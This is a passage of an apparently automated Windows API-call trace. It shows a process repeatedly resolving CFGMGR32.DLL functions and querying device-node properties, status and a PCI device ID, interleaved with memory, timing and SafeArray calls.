(hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.281] malloc (_Size=0x18) returned 0x196ef0d1d60 [0194.281] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.292] malloc (_Size=0x48) returned 0x196ef0fb720 [0194.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54a82ebf, dwHighDateTime=0x1d9eb0c)) [0194.292] SetEvent (hEvent=0x248) returned 1 [0194.294] SetEvent (hEvent=0x248) returned 1 [0194.294] free (_Block=0x196ef0fb720) [0194.294] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.295] malloc (_Size=0x48) returned 0x196ef0fb310 [0194.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54aa8f7b, dwHighDateTime=0x1d9eb0c)) [0194.295] SetEvent (hEvent=0x248) returned 1 [0194.296] SetEvent (hEvent=0x248) returned 1 [0194.297] free (_Block=0x196ef0fb310) [0194.297] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.298] malloc (_Size=0x48) returned 0x196ef0fbd60 [0194.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54aa8f7b, dwHighDateTime=0x1d9eb0c)) [0194.298] SetEvent (hEvent=0x248) returned 1 [0194.299] SetEvent (hEvent=0x248) returned 1 [0194.299] free (_Block=0x196ef0fbd60) [0194.300] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.300] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0194.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54aa8f7b, dwHighDateTime=0x1d9eb0c)) [0194.300] SetEvent (hEvent=0x248) returned 1 [0194.305] SetEvent (hEvent=0x248) returned 1 [0194.305] free (_Block=0x196ef0fb2c0) [0194.305] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.545] malloc (_Size=0x48) returned 0x196ef0fb540 [0194.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54d0ae4f, dwHighDateTime=0x1d9eb0c)) [0194.545] SetEvent (hEvent=0x248) returned 1 [0194.549] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.549] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.553] malloc (_Size=0x18) returned 0x196ef0d1f80 [0194.553] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0194.553] malloc (_Size=0x48) returned 0x196ef0fbea0 [0194.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x54d0ae4f, dwHighDateTime=0x1d9eb0c)) [0194.553] SetEvent (hEvent=0x248) returned 1 [0194.598] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.598] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.602] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0194.602] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0194.603] malloc (_Size=0x48) returned 0x196ef0fbc70 [0194.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x54d82982, dwHighDateTime=0x1d9eb0c)) [0194.603] SetEvent (hEvent=0x248) returned 1 [0194.606] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.607] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.610] malloc (_Size=0x18) returned 0x196ef0d1be0 [0194.610] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0194.610] malloc (_Size=0x48) returned 0x196ef0fb770 [0194.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54da3fe9, dwHighDateTime=0x1d9eb0c)) [0194.610] SetEvent (hEvent=0x248) returned 1 [0194.615] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.615] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.618] malloc (_Size=0x18) returned 0x196ef0d19a0 [0194.618] CM_Get_Device_IDA (in: dnDevInst=0x2c, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&FA") returned 0x0 [0194.618] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0194.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x54da3fe9, dwHighDateTime=0x1d9eb0c)) [0194.618] SetEvent (hEvent=0x248) returned 1 [0194.622] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.622] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.625] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.625] malloc (_Size=0x18) returned 0x196ef0d1f20 [0194.625] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0194.625] malloc (_Size=0x124) returned 0x196ef0d6890 [0194.625] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0194.626] free (_Block=0x196ef0d6890) [0194.626] malloc (_Size=0x48) returned 0x196ef0fbae0 [0194.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x54dc99fe, dwHighDateTime=0x1d9eb0c)) [0194.626] SetEvent (hEvent=0x248) returned 1 [0194.629] malloc (_Size=0x18) returned 0x196ef0d1a40 [0194.629] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0194.629] free (_Block=0x196ef0d1a40) [0194.629] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0194.629] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0194.629] free (_Block=0x196ef0d1bc0) [0194.629] malloc (_Size=0x18) returned 0x196ef0d1b00 [0194.629] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0194.630] free (_Block=0x196ef0d1b00) [0194.630] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0194.630] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0194.630] free (_Block=0x196ef0d1ae0) [0194.630] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8565e0 [0194.630] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0194.630] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0194.630] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0194.630] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b63e0 [0194.630] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0194.630] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0194.630] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0194.630] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0194.631] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6500, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.631] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6508, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.631] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6510, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.631] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6518, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.632] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b63e0) returned 1 [0194.633] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8565e0) returned 1 [0194.633] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.633] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.634] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.635] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.636] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.636] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.636] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.824] malloc (_Size=0x18) returned 0x196ef0d1f40 [0194.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0194.824] malloc (_Size=0x10e) returned 0x196ef0d6890 [0194.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0194.826] free (_Block=0x196ef0d6890) [0194.826] malloc (_Size=0x48) returned 0x196ef0fb270 [0194.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x54fb992c, dwHighDateTime=0x1d9eb0c)) [0194.826] SetEvent (hEvent=0x248) returned 1 [0194.828] malloc (_Size=0x18) returned 0x196ef0d2040 [0194.828] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0194.829] free (_Block=0x196ef0d2040) [0194.829] malloc (_Size=0x18) returned 0x196ef0d1a80 [0194.829] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.829] free (_Block=0x196ef0d1a80) [0194.829] malloc (_Size=0x18) returned 0x196ef0d20e0 [0194.829] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.829] free (_Block=0x196ef0d20e0) [0194.829] malloc (_Size=0x18) returned 0x196ef0d1e60 [0194.829] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.829] free (_Block=0x196ef0d1e60) [0194.829] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0194.829] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.829] free (_Block=0x196ef0d1fc0) 